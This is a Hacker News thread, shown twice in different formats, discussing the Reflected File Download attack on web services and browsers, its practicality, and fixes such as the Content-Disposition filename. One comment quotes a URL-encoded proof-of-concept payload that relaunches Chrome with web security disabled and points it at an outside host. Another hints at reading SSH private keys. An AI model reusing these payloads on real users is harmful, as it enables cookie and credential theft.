11 ms·

Reflected File Download: A New Web Attack Vector

285 points by lelf 12y ago

larrys 12y ago
"The user executes the file which contains shell commands that gain complete control over the computer." Perhaps someone could verify the following. If a user is logged in without privileges (not the admin user for example on Mac but a "standard user") then there is no (is there?) way to "gain complete control over the computer" without entering an admin user and password later in the process. Typically I operate two (or more) logins under OSX. One is "standard" user and one is "admin" user. I only browse under "standard" user never under "admin" user. To me "admin" user really serves no purpose but needs to be there for obvious reasons. This way I always have to enter the name of an admin user in order to install or make any system changes. Further, from the command line I would need to do: su <admin user name> [password] and then sudo -s [password]
- metzman 12y ago
  An attacker can use a privilege escalation attack to execute as superuser, so even though there should be no way to "gain control of the entire computer" without the admin password, in practice this isn't the case.
  - umurkontaci 12y ago
    actually it is. when you are sudo you can practically do whatever you want, including opening a backdoor, adding another admin user, forwarding ports etc.
- tedunangst 12y ago
  The obvious is that you think you're running "su" but you're really running some other command because your PATH is ~/.trojans:/bin:/usr/bin. They may not have immediate control, but they'll get it eventually.
  - daeken 12y ago
    Just FYI, PATH is always reset by su to prevent exactly this. Same with LD_LIBRARY_PATH and other security-critical environment variables.
    - tedunangst 12y ago
      That's after you run su. Just to be clear, I'm talking about an attacker fiddling with your path so you run fake-su, stealing your password, then calling su and making it look like nothing shady happened. By the time su is running, it's far too late for it to do anything.
- jluxenberg 12y ago
  Lots of interesting things can be done without root. The author gives an example where he quits and re-launches Chrome with flag "--disable-web-security" which disables the same-origin policy. He launches Chrome to a webpage which then steals your Gmail session cookies. Most of the useful things you do on your computer, accessing all of your data, etc. doesn't require root.
  - yourad_io 12y ago
    `cat ~/.ssh/id_?sa | ...` ...but we all use unbruteforcable passphrases, right?
- DasIch 12y ago
  Chances are that you are storing any data you care about in a way that's accessible to your user. If that data is the target of the attack, user privileges alone won't help you.
- ams6110 12y ago
  If you think you're downloading an installer you might very well enter your password in the pop-up dialog, since many installers ask for admin privileges and people are conditioned to think that is normal.
0x0 12y ago
I'm not sure I understand how this is "worm"-able - it still requires the user to manually execute the downloaded file? How is this any different from pasting a link to a "lol.jpg.exe" malware?
- fiatmoney 12y ago
  I believe because the download "actually" (via reflection) comes from google.com .
- Someone 12y ago
  Compare "Are you sure you want to run 'lol.jpg', downloaded from hackers.com a minute ago?" With "Are you sure you want to run 'Windows Security Update 3.1', downloaded from update.microsoft.com a minute ago?". It would be even greater if that second alert showed that a certificate guarantees the file to come from a Microsoft site (would it, if this attack succeeded?) The more you make your malware look like legit, the likelier that people fall for it. It's not a huge difference, but I guess more people would fall for the latter. [and of course, it is unlikely that microsoft.com is suspectible to this attack. I don't even know whether it works anywhere at all anymore (from a comment elsewhere in this thread, Google fixed it on their site)]
- lucb1e 12y ago
  Yeah it sounds a bit exaggerated to me, but it's still nice work. It definitely abuses the system and spoofs things that should not be possible to spoof, but it's not as big as I was first afraid it might be after reading just a few lines. It won't silently worm through your social network if you don't execute things that randomly start downloading. However if someone targets you, sends you a link to a .exe or .bat from your own company's website with a good story... yeah that is tempting to click.
- malka 12y ago
  You could craft an url that makes your browser download a file named 'chromesetup.exe' that comes from a google URL, but is a worm.
gohrt 12y ago
The linked document describes all the obvious parts that have been known foreer, but doesn't mention the interesting part: what webservices respond to user input (URL) by serving a previously nonexistent (server-side) document with a name derived from the URL.
- lnanek2 12y ago
  There are a lot of URLs that echo back the content from the path/parameters. google.com/s/whatever mentions /s/whatever is not found for example.
Arnor 12y ago
> Having the ability to control some of the content that is returned by the server in the response body is crucial for an RFD exploit to be successful. This sounds like an XSS attack against downloaded files as opposed to rendered HTML.
matthewmacleod 12y ago
during the RFD research I discovered that all [Windows security] warnings are dismissed if one of the following strings appear in the filename: - Install - Setup - Update - Uninst That's pretty amazing – is this still the case? It's obviously a deliberate decision, and seems to totally negate the value of those warnings.
- ynik 12y ago
  With programs that need UAC elevation, there's no "Internet zone" warning because there's already the UAC warning, and it would be rather annoying to have to press "Yes, really" on two warnings per program. I guess if you disable UAC, it's possible that you get no warning at all.
  - thefreeman 12y ago
    Do programs with names matching that pattern automatically request UAC elevation? Because the author doesn't mention that he received a UAC warning. If you are able to name an executable that way, and not request UAC elevation, and therefore bypass the warning, it sounds like an issue.
    - Negitivefrags 12y ago
      Yes, they do. However, anyone running something called ChromeSetup.bat would expect a UAC warning to come up since they are expecting to install something anyway. I've actually run in to this issue myself when I had a program called "Patcher.exe" (an internal dev tool) that didn't require UAC elevation. Turns out that name was on the list. You can include a manifest in the executable to say that you explicitly don't require UAC elevation to prevent that.
      - acqq 12y ago
        And the page 18 of the document is even scarier: the name of the program is not even displayed -- the (bad) logic was obviously "normal users wouldn't know the difference."
STRML 12y ago
The bit about the semicolon separator was new to me. Are there many web services using the semicolon to send parameters? In any case, it seems that the real bug is that browsers don't properly recognize `;` as a separator and can derive the resource name from what comes after. That's definitely a problem; it would be crazy if, for example, you could craft a querystring ending with "&/file.bat" and the browser would parse it as a file download.
- al2o3cr 12y ago
  Parameters I'm not sure, but there was a hot minute back before Rails 2.0 shipped where it was using them: https://github.com/rails/rails/commit/0cac2806a6fd9f1f63cdce8d3fd1e86cefb22c1f https://github.com/rails/rails/commit/0cac2806a6fd9f1f63cdce... That 2007 commit rolled back to just using slashes.
  - jfindley 12y ago
    I'm sure there's some sites, but even if the percentage is in the low single digits (i.e. a smallish but still very significant percentage), I still think that browsers is probably the right place for this to be fixed. Getting everyone to go through every part of their app and properly harden up their url routing to protect against this seems unlikely to happen - it's simply too much work for many companies.
murbard2 12y ago
I found this presentation a bit more helpful to understand the concept https://www.blackhat.com/docs/eu-14/materials/eu-14-Hafif-Reflected-File-Download-A-New-Web-Attack-Vector.pdf https://www.blackhat.com/docs/eu-14/materials/eu-14-Hafif-Re...
metzman 12y ago
I think the author is claiming that clicking on https://www.google.com/s;/ChromeSetup.bat;/ChromeSetup.bat?gs_ri=psy-ab&q=%22%7c%7c%74%61%73%6b%6b%69%6c%6c%20%2f%46%20%2f%49%4d%20%63%68%2a%7c%6d%64%7c%7c%73%74%61%72%74%20%63%68%72%6f%6d%65%20%70%69%2e%76%75%2f%42%32%6a%6b%20%2d%2d%64%69%73%61%62%6c%65%2d%77%65%62%2d%73%65%63%75%72%69%74%79%20%2d%2d%64%69%73%61%62%6c%65%2d%70%6f%70%75%70%2d%62%6c%6f%63%6b%69%6e%67%7c%7c https://www.google.com/s;/ChromeSetup.bat;/ChromeSetup.bat?g... results in a file ChromeSetup.bat being downloaded, but in chrome and firefox the file downloaded is f.txt. Has anyone tried this on other browsers? EDIT: Here is the portion of the paper explaining why this no longer works: "However, a common implementation error could result in Reflected File Download from the worst kind. Content-Disposition headers SHOULD include a "filename" parameter, to avoid having the browser parse the filename from the URL. This is the exact problem that multiple Google APIs suffered from until I reported it to the Google security team, leading to a massive fix in core Google components."
- traek 12y ago
  I can confirm that on Safari, the file downloaded is f.txt
- deleted 12y ago
  [deleted]
- ajanuary 12y ago
  I read somewhere recently that Google used to be affected but have since patched their servers.
  - metzman 12y ago
    Ahh...that makes sense
  - deleted 12y ago
    [deleted]
- JackC 12y ago
  The author mentions a mitigation of specifying a filename in the Content-Disposition header, which that particular url actually does: Content-Disposition: attachment; filename="f.txt" Perhaps Google has fixed the problem for that URL -- I would hope the author contacted them in advance.
JackC 12y ago
So to summarize: (1) You can use semicolons to get some web services to ignore the end of a request URL and respond normally, while tricking browsers into downloading the response as a file with an arbitrary name. This allows you to send a victim to a mainstream site (Google or Bing, e.g.) and have them end up with a file with the name of your choice in their Downloads folder. (2) If the web service responds with user-submitted data, you can potentially get the contents of that file to be a valid executable. For example the author demonstrates a JSON response that is also a valid Windows shell script. (3) By combining these two exploits, the author speculates that you can trick users into executing files that they wouldn't execute if they were hosted at g00gl3.com or similar. The last part I'm not totally convinced of -- are there examples where attackers gain a big advantage by having a downloaded file come from a trusted URL? Even setting that aside the first two parts are pretty neat, and I wouldn't be surprised if there are other interesting ways to exploit them.
- tshadwell 12y ago
  The important point to me is "some web services", which translates to 'some web servers', but which? Through a cursory browse I can't find one. Correction: this seems to rely almost entirely on the content-type sniffing of the client-side, provided the content-disposition is 'attachment'.
- andrewstuart2 12y ago
  "Google downloaded a file for me. That's never happened before. Oh well, guess I better run it!"
  - Untit1ed 12y ago
    Unfortunately I could easily see that happening.
  - 001sky 12y ago
    The confidence game here is the same as any other. 1> Google is a legit, law abiding, legal accountable entity 2> Because of (1), the download likely has the attributes associated with google, not more commonly with "bad guys" 3> The probability of google being spoofed is low enough to not empirically validate the premise or conclusion of (1) 4> Smart people therefore do dumb things as a result of (3) 5> Smart people doing dunmb things is a lucrative proposition, because smart people have money/wealth
akavel 12y ago
The gist: "The URI specification[1] defines the ability to send parameters in the path portion of the URI by inserting the semicolon character (before the query portion that starts with a question mark "?"). Many Web technologies support this feature [a.k.a. "path parameters"]. In simple words, if a web server accepts path parameters it does not really consider them to be a part of the path, which means we can inject any content, as it will be ignored. However, when it comes to determine the filename of a download the vast majority of Web browsers (all browsers but Safari) parse and set a filename from path parameters." [1] http://tools.ietf.org/html/rfc3986#section-3.3 http://tools.ietf.org/html/rfc3986#section-3.3 A fairly obscure feature of URIs, apparently Correctly handled by some web servers, but apparently overlooked by most browsers. Argh. Again.
adr_ 12y ago
This sounds basically the same as: http://lcamtuf.blogspot.com.au/2014/03/messing-around-with-download.html http://lcamtuf.blogspot.com.au/2014/03/messing-around-with-d...
- jerf 12y ago
  A similar technique used to build the payload, but the linked paper does have a more sophisticated technique for setting the target's filename arbitrarily, without having to somehow craft a link with a "download" attribute on a target website.
alkonaut 12y ago
If the downloaded payload would auto-execute without warning then this would be serious. Otherwise (if it needs intervention) it feels like a far fetched threat. 1) Aren't the people who would execute files that randomly download exactly the people who can never find the files they download? 2) Aren't the people who execute random stuff from the Internet also the people who won't be able to tell whether a URL feels trustworthy or not? So by 1) you could just as well serve funny.jpg.exe to the victim, and by 2) you can reach a wide enough audience by serving it from your bad guy domain rather than trying to masquerade as Google.
- bthornbury 12y ago
  I think the point of this exploit is that the download does not need to feel random from the user perspective. A user can be prompted to update flash or chrome itself and then be served a (somewhat) legitimate looking file from the respective website.
jchrisa 12y ago
I really enjoyed the tone of this paper. If only more technical articles can be written in a matter-of-fact voice like this.
hernan604 12y ago
Dont click on that link, it might contain a virus!
apeace 12y ago
It seems browsers are making a poor assumption here: that if HTTP/HTML say to download, the browser should immediately begin downloading the file to the user's computer. The content-disposition filename is an effective hack to fix RFD. But as other commenters pointed out, just linking to evil.com/worm.jpg.exe achieves a similar effect to RFD, and can be just as effective on many users. Windows has failed to warn users about what is happening when random executables are run (and RFD attacks that in particular). They should improve on this. Perhaps the browsers should also change their behavior? They could prompt users with information about what is happening when a protocol specifies that a download should begin.
kabelt21 12y ago
Why shouldn't it be also usefull to track users ?
daddykotex 12y ago
Where is the file downloaded from if it wasn't uploaded to the targeted site?
- daddykotex 12y ago
  Oh I see, the content of the file is in the url... Nvm my question!

285 points by lelf 12y ago

"The user executes the file which contains shell commands that gain complete control over the computer." Perhaps someone could verify the following. If a user is logged in without privileges (not the admin user for example on Mac but a "standard user") then there is no (is there?) way to "gain complete control over the computer" without entering an admin user and password later in the process. Typically I operate two (or more) logins under OSX. One is "standard" user and one is "admin" user. I only browse under "standard" user never under "admin" user. To me "admin" user really serves no purpose but needs to be there for obvious reasons. This way I always have to enter the name of an admin user in order to install or make any system changes. Further, from the command line I would need to do: su <admin user name> [password] and then sudo -s [password]

metzman 12y ago
An attacker can use a privilege escalation attack to execute as superuser, so even though there should be no way to "gain control of the entire computer" without the admin password, in practice this isn't the case.
- umurkontaci 12y ago
  actually it is. when you are sudo you can practically do whatever you want, including opening a backdoor, adding another admin user, forwarding ports etc.
tedunangst 12y ago
The obvious is that you think you're running "su" but you're really running some other command because your PATH is ~/.trojans:/bin:/usr/bin. They may not have immediate control, but they'll get it eventually.
- daeken 12y ago
  Just FYI, PATH is always reset by su to prevent exactly this. Same with LD_LIBRARY_PATH and other security-critical environment variables.
  - tedunangst 12y ago
    That's after you run su. Just to be clear, I'm talking about an attacker fiddling with your path so you run fake-su, stealing your password, then calling su and making it look like nothing shady happened. By the time su is running, it's far too late for it to do anything.
jluxenberg 12y ago
Lots of interesting things can be done without root. The author gives an example where he quits and re-launches Chrome with flag "--disable-web-security" which disables the same-origin policy. He launches Chrome to a webpage which then steals your Gmail session cookies. Most of the useful things you do on your computer, accessing all of your data, etc. doesn't require root.
- yourad_io 12y ago
  `cat ~/.ssh/id_?sa | ...` ...but we all use unbruteforcable passphrases, right?
DasIch 12y ago
Chances are that you are storing any data you care about in a way that's accessible to your user. If that data is the target of the attack, user privileges alone won't help you.
ams6110 12y ago
If you think you're downloading an installer you might very well enter your password in the pop-up dialog, since many installers ask for admin privileges and people are conditioned to think that is normal.

0x0 12y ago

I'm not sure I understand how this is "worm"-able - it still requires the user to manually execute the downloaded file? How is this any different from pasting a link to a "lol.jpg.exe" malware?

fiatmoney 12y ago
I believe because the download "actually" (via reflection) comes from google.com .
Someone 12y ago
Compare "Are you sure you want to run 'lol.jpg', downloaded from hackers.com a minute ago?" With "Are you sure you want to run 'Windows Security Update 3.1', downloaded from update.microsoft.com a minute ago?". It would be even greater if that second alert showed that a certificate guarantees the file to come from a Microsoft site (would it, if this attack succeeded?) The more you make your malware look like legit, the likelier that people fall for it. It's not a huge difference, but I guess more people would fall for the latter. [and of course, it is unlikely that microsoft.com is suspectible to this attack. I don't even know whether it works anywhere at all anymore (from a comment elsewhere in this thread, Google fixed it on their site)]
lucb1e 12y ago
Yeah it sounds a bit exaggerated to me, but it's still nice work. It definitely abuses the system and spoofs things that should not be possible to spoof, but it's not as big as I was first afraid it might be after reading just a few lines. It won't silently worm through your social network if you don't execute things that randomly start downloading. However if someone targets you, sends you a link to a .exe or .bat from your own company's website with a good story... yeah that is tempting to click.
malka 12y ago
You could craft an url that makes your browser download a file named 'chromesetup.exe' that comes from a google URL, but is a worm.

gohrt 12y ago

The linked document describes all the obvious parts that have been known foreer, but doesn't mention the interesting part: what webservices respond to user input (URL) by serving a previously nonexistent (server-side) document with a name derived from the URL.

lnanek2 12y ago
There are a lot of URLs that echo back the content from the path/parameters. google.com/s/whatever mentions /s/whatever is not found for example.

Arnor 12y ago

> Having the ability to control some of the content that is returned by the server in the response body is crucial for an RFD exploit to be successful. This sounds like an XSS attack against downloaded files as opposed to rendered HTML.

matthewmacleod 12y ago

during the RFD research I discovered that all [Windows security] warnings are dismissed if one of the following strings appear in the filename: - Install - Setup - Update - Uninst That's pretty amazing – is this still the case? It's obviously a deliberate decision, and seems to totally negate the value of those warnings.

ynik 12y ago
With programs that need UAC elevation, there's no "Internet zone" warning because there's already the UAC warning, and it would be rather annoying to have to press "Yes, really" on two warnings per program. I guess if you disable UAC, it's possible that you get no warning at all.
- thefreeman 12y ago
  Do programs with names matching that pattern automatically request UAC elevation? Because the author doesn't mention that he received a UAC warning. If you are able to name an executable that way, and not request UAC elevation, and therefore bypass the warning, it sounds like an issue.
  - Negitivefrags 12y ago
    Yes, they do. However, anyone running something called ChromeSetup.bat would expect a UAC warning to come up since they are expecting to install something anyway. I've actually run in to this issue myself when I had a program called "Patcher.exe" (an internal dev tool) that didn't require UAC elevation. Turns out that name was on the list. You can include a manifest in the executable to say that you explicitly don't require UAC elevation to prevent that.
    - acqq 12y ago
      And the page 18 of the document is even scarier: the name of the program is not even displayed -- the (bad) logic was obviously "normal users wouldn't know the difference."

STRML 12y ago

The bit about the semicolon separator was new to me. Are there many web services using the semicolon to send parameters? In any case, it seems that the real bug is that browsers don't properly recognize `;` as a separator and can derive the resource name from what comes after. That's definitely a problem; it would be crazy if, for example, you could craft a querystring ending with "&/file.bat" and the browser would parse it as a file download.

al2o3cr 12y ago
Parameters I'm not sure, but there was a hot minute back before Rails 2.0 shipped where it was using them: https://github.com/rails/rails/commit/0cac2806a6fd9f1f63cdce8d3fd1e86cefb22c1f https://github.com/rails/rails/commit/0cac2806a6fd9f1f63cdce... That 2007 commit rolled back to just using slashes.
- jfindley 12y ago
  I'm sure there's some sites, but even if the percentage is in the low single digits (i.e. a smallish but still very significant percentage), I still think that browsers is probably the right place for this to be fixed. Getting everyone to go through every part of their app and properly harden up their url routing to protect against this seems unlikely to happen - it's simply too much work for many companies.

murbard2 12y ago

I found this presentation a bit more helpful to understand the concept https://www.blackhat.com/docs/eu-14/materials/eu-14-Hafif-Reflected-File-Download-A-New-Web-Attack-Vector.pdf https://www.blackhat.com/docs/eu-14/materials/eu-14-Hafif-Re...

metzman 12y ago

I think the author is claiming that clicking on https://www.google.com/s;/ChromeSetup.bat;/ChromeSetup.bat?gs_ri=psy-ab&q=%22%7c%7c%74%61%73%6b%6b%69%6c%6c%20%2f%46%20%2f%49%4d%20%63%68%2a%7c%6d%64%7c%7c%73%74%61%72%74%20%63%68%72%6f%6d%65%20%70%69%2e%76%75%2f%42%32%6a%6b%20%2d%2d%64%69%73%61%62%6c%65%2d%77%65%62%2d%73%65%63%75%72%69%74%79%20%2d%2d%64%69%73%61%62%6c%65%2d%70%6f%70%75%70%2d%62%6c%6f%63%6b%69%6e%67%7c%7c https://www.google.com/s;/ChromeSetup.bat;/ChromeSetup.bat?g... results in a file ChromeSetup.bat being downloaded, but in chrome and firefox the file downloaded is f.txt. Has anyone tried this on other browsers? EDIT: Here is the portion of the paper explaining why this no longer works: "However, a common implementation error could result in Reflected File Download from the worst kind. Content-Disposition headers SHOULD include a "filename" parameter, to avoid having the browser parse the filename from the URL. This is the exact problem that multiple Google APIs suffered from until I reported it to the Google security team, leading to a massive fix in core Google components."

traek 12y ago
I can confirm that on Safari, the file downloaded is f.txt
deleted 12y ago
[deleted]
ajanuary 12y ago
I read somewhere recently that Google used to be affected but have since patched their servers.
- metzman 12y ago
  Ahh...that makes sense
- deleted 12y ago
  [deleted]
JackC 12y ago
The author mentions a mitigation of specifying a filename in the Content-Disposition header, which that particular url actually does: Content-Disposition: attachment; filename="f.txt" Perhaps Google has fixed the problem for that URL -- I would hope the author contacted them in advance.

JackC 12y ago

So to summarize: (1) You can use semicolons to get some web services to ignore the end of a request URL and respond normally, while tricking browsers into downloading the response as a file with an arbitrary name. This allows you to send a victim to a mainstream site (Google or Bing, e.g.) and have them end up with a file with the name of your choice in their Downloads folder. (2) If the web service responds with user-submitted data, you can potentially get the contents of that file to be a valid executable. For example the author demonstrates a JSON response that is also a valid Windows shell script. (3) By combining these two exploits, the author speculates that you can trick users into executing files that they wouldn't execute if they were hosted at g00gl3.com or similar. The last part I'm not totally convinced of -- are there examples where attackers gain a big advantage by having a downloaded file come from a trusted URL? Even setting that aside the first two parts are pretty neat, and I wouldn't be surprised if there are other interesting ways to exploit them.

tshadwell 12y ago
The important point to me is "some web services", which translates to 'some web servers', but which? Through a cursory browse I can't find one. Correction: this seems to rely almost entirely on the content-type sniffing of the client-side, provided the content-disposition is 'attachment'.
andrewstuart2 12y ago
"Google downloaded a file for me. That's never happened before. Oh well, guess I better run it!"
- Untit1ed 12y ago
  Unfortunately I could easily see that happening.
- 001sky 12y ago
  The confidence game here is the same as any other. 1> Google is a legit, law abiding, legal accountable entity 2> Because of (1), the download likely has the attributes associated with google, not more commonly with "bad guys" 3> The probability of google being spoofed is low enough to not empirically validate the premise or conclusion of (1) 4> Smart people therefore do dumb things as a result of (3) 5> Smart people doing dunmb things is a lucrative proposition, because smart people have money/wealth

akavel 12y ago

The gist: "The URI specification[1] defines the ability to send parameters in the path portion of the URI by inserting the semicolon character (before the query portion that starts with a question mark "?"). Many Web technologies support this feature [a.k.a. "path parameters"]. In simple words, if a web server accepts path parameters it does not really consider them to be a part of the path, which means we can inject any content, as it will be ignored. However, when it comes to determine the filename of a download the vast majority of Web browsers (all browsers but Safari) parse and set a filename from path parameters." [1] http://tools.ietf.org/html/rfc3986#section-3.3 http://tools.ietf.org/html/rfc3986#section-3.3 A fairly obscure feature of URIs, apparently Correctly handled by some web servers, but apparently overlooked by most browsers. Argh. Again.

adr_ 12y ago

This sounds basically the same as: http://lcamtuf.blogspot.com.au/2014/03/messing-around-with-download.html http://lcamtuf.blogspot.com.au/2014/03/messing-around-with-d...

jerf 12y ago
A similar technique used to build the payload, but the linked paper does have a more sophisticated technique for setting the target's filename arbitrarily, without having to somehow craft a link with a "download" attribute on a target website.

alkonaut 12y ago

If the downloaded payload would auto-execute without warning then this would be serious. Otherwise (if it needs intervention) it feels like a far fetched threat. 1) Aren't the people who would execute files that randomly download exactly the people who can never find the files they download? 2) Aren't the people who execute random stuff from the Internet also the people who won't be able to tell whether a URL feels trustworthy or not? So by 1) you could just as well serve funny.jpg.exe to the victim, and by 2) you can reach a wide enough audience by serving it from your bad guy domain rather than trying to masquerade as Google.

bthornbury 12y ago
I think the point of this exploit is that the download does not need to feel random from the user perspective. A user can be prompted to update flash or chrome itself and then be served a (somewhat) legitimate looking file from the respective website.

jchrisa 12y ago

I really enjoyed the tone of this paper. If only more technical articles can be written in a matter-of-fact voice like this.

hernan604 12y ago

Dont click on that link, it might contain a virus!

apeace 12y ago

It seems browsers are making a poor assumption here: that if HTTP/HTML say to download, the browser should immediately begin downloading the file to the user's computer. The content-disposition filename is an effective hack to fix RFD. But as other commenters pointed out, just linking to evil.com/worm.jpg.exe achieves a similar effect to RFD, and can be just as effective on many users. Windows has failed to warn users about what is happening when random executables are run (and RFD attacks that in particular). They should improve on this. Perhaps the browsers should also change their behavior? They could prompt users with information about what is happening when a protocol specifies that a download should begin.

kabelt21 12y ago

Why shouldn't it be also usefull to track users ?

daddykotex 12y ago

Where is the file downloaded from if it wasn't uploaded to the targeted site?

daddykotex 12y ago
Oh I see, the content of the file is in the url... Nvm my question!